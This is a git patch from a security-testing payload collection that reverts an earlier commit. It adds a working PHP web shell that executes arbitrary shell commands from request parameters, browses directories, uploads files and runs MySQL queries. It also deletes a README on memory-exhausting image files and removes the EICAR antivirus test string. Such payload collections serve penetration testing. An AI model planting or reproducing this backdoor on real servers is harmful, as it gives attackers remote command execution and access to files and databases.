From e5a00ce60e0fd866bcf023c613feda3169473d0c Mon Sep 17 00:00:00 2001 From: Jason Haddix Date: Sun, 6 Sep 2015 01:01:38 -0700 Subject: [PATCH] Revert "files" This reverts commit 3bdab43348cbdfd98a709e4420030b6fa150ef19. --- Payloads/FUZZDB_php-backdoor.php | 71 +++++++++++++++++++++++++++++++ Payloads/README.md | 29 ------------- Payloads/eicar.com.txt | 1 - Payloads/lottapixel.jpg | Bin 4856 -> 0 bytes Payloads/uber.gif | Bin 920039 -> 0 bytes 5 files changed, 71 insertions(+), 30 deletions(-) create mode 100755 Payloads/FUZZDB_php-backdoor.php delete mode 100644 Payloads/README.md delete mode 100644 Payloads/eicar.com.txt delete mode 100644 Payloads/lottapixel.jpg delete mode 100644 Payloads/uber.gif diff --git a/Payloads/FUZZDB_php-backdoor.php b/Payloads/FUZZDB_php-backdoor.php new file mode 100755 index 00000000..7defd37d --- /dev/null +++ b/Payloads/FUZZDB_php-backdoor.php @@ -0,0 +1,71 @@ +"; + if ($handle = opendir("$d")) { + echo "

listing of $d

"; + while ($dir = readdir($handle)){ + if (is_dir("$d/$dir")) echo ""; + else echo ""; + echo "$dir\n"; + echo ""; + } + + } else echo "opendir() failed"; + closedir($handle); + die ("
"); +} +if(isset($_REQUEST['c'])){ + echo "
";
+	system($_REQUEST['c']);		   
+	die;
+}
+if(isset($_REQUEST['upload'])){
+
+		if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
+			else $dir=$_REQUEST['dir'];
+		$fname=$HTTP_POST_FILES['file_name']['name'];
+		if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
+			die('file uploading error.');
+}
+if(isset($_REQUEST['mquery'])){
+	
+	$host=$_REQUEST['host'];
+	$usr=$_REQUEST['usr'];
+	$passwd=$_REQUEST['passwd'];
+	$db=$_REQUEST['db'];
+	$mquery=$_REQUEST['mquery'];
+	mysql_connect("$host", "$usr", "$passwd") or
+    die("Could not connect: " . mysql_error());
+    mysql_select_db("$db");
+    $result = mysql_query("$mquery");
+	if($result!=FALSE) echo "

query was executed correctly

\n"; + while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); + mysql_free_result($result); + die; +} +?> +
execute command:
+
+upload file: to dir:   
+
to browse go to http://?d=[directory here] +
for example: +http://?d=/etc on *nix +or http://?d=c:/windows on win +
execute mysql query: +
+host: user: password: + +database: query: +
+ + diff --git a/Payloads/README.md b/Payloads/README.md deleted file mode 100644 index d8c70a09..00000000 --- a/Payloads/README.md +++ /dev/null @@ -1,29 +0,0 @@ -## lottapixel - -Originally reported at https://hackerone.com/reports/390, addressed on paperclip. - -A specially crafted JPEG (the original file was named lottapixel.jpg) causes attempts to determine the dimensions of the image to exhaust available memory. From the original report: - -The exploit is really simple. I have an image of 5kb, 260x260 pixels. In the image itself I exchange the 260x260 values with 0xfafa x 0xfafa (so 64250x64250 pixels). Now from what I remember your service tries to convert the image once uploaded. By loading the 'whole image' into memory, it tries to allocate 4128062500 pixels into memory, flooding the memory and causing DoS. - -## uber.gif - -Current limits - -Image size: 1 MB -Image dimensions: 2048x2048px -File types: jpg/png/gif - -Another image hack - -A GIF composed of 40k 1x1 images made Paperclip freeze until timeout. - -As attachments I sent the file composed of 40k images, and a screenshot of the timeout. - -## EICAR File - -The EICAR Standard Anti-Virus Test File or EICAR test file is a computer file that was developed by the European Institute for Computer Antivirus Research (EICAR) and Computer Antivirus Research Organization (CARO), to test the response of computer antivirus (AV) programs. Instead of using real malware, which could do real damage, this test file allows people to test anti-virus software without having to use a real computer virus. - -Anti-virus programmers set the EICAR string as a verified virus, similar to other identified signatures. A compliant virus scanner, when detecting the file, will respond in exactly the same manner as if it found a harmful virus. Not all virus scanners are compliant, and may not detect the file even when they are correctly configured. - -The use of the EICAR test string can be more versatile than straightforward detection: a file containing the EICAR test string can be compressed or archived, and then the antivirus software can be run to see whether it can detect the test string in the compressed file. \ No newline at end of file diff --git a/Payloads/eicar.com.txt b/Payloads/eicar.com.txt deleted file mode 100644 index a2463df6..00000000 --- a/Payloads/eicar.com.txt +++ /dev/null @@ -1 +0,0 @@ -X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* \ No newline at end of file diff --git a/Payloads/lottapixel.jpg b/Payloads/lottapixel.jpg deleted file mode 100644 index e25c2d30156d39d0930a54975211d7339c83b73b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4856 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